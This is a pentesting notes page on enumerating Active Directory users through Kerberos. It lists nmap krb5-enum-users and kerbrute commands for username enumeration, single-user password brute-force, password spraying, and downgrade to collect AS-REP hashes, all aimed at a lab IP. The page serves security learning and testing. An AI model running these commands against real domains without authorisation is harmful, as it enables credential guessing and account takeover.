> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/active-directory-domain-controller/kerberos-enumeration/users-enumeration.md).

# Users Enumeration

Kerberos can leak information during authentication attempts. Using this, attackers can **enumerate valid usernames** in a target Active Directory domain **without credentials**.

***

### Nmap Script – `krb5-enum-users.nse`

**Purpose:** Check if usernames are valid by interacting with the Kerberos service (port 88).

***

#### Nmap Syntax

Check if Kerberos is open:

```bash
nmap -v -p 88 192.168.1.61
```

Run the enumeration script:

```bash
nmap -v -p 88 --script=krb5-enum-users.nse \
--script-args krb5-enum-users.realm='enum.local' 192.168.1.61
```

With a username wordlist:

```bash
nmap -v -p 88 --script=krb5-enum-users.nse \
--script-args krb5-enum-users.realm='enum.local',userdb=username.txt 192.168.1.61
```

***

### Kerbrute – Fast Go-Based Tool

**Install:**

```bash
go install github.com/ropnop/kerbrute@latest
```

***

#### User Enumeration

**With wordlist:**

```bash
kerbrute userenum --dc 192.168.1.61 -d enum.local username.txt
```

**Example:**

```bash
kerbrute userenum --dc 192.168.1.61 -d enum.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
```

***

#### Password Brute-force (Single User)

```bash
kerbrute bruteuser --dc 192.168.1.61 -d enum.local /tmp/pass.txt roxana.marleah
```

***

#### Password Spray (One Password, Many Users)

```bash
kerbrute passwordspray --dc 192.168.1.61 -d enum.local username.txt 'Test@123'
```

***

#### Enable Downgrade (Retrieve AS-REP hashes)

```bash
kerbrute userenum --dc 192.168.1.61 -d enum.local sname.txt --downgrade
```

This enables AS-REP responses for users with “Do not require Kerberos preauthentication”, useful for AS-REP Roasting.

***

📄 **References:**

* [wadcoms Nmap Krb5 Enum Users](https://wadcoms.github.io/wadcoms/Nmap-Krb5-Enum-Users/)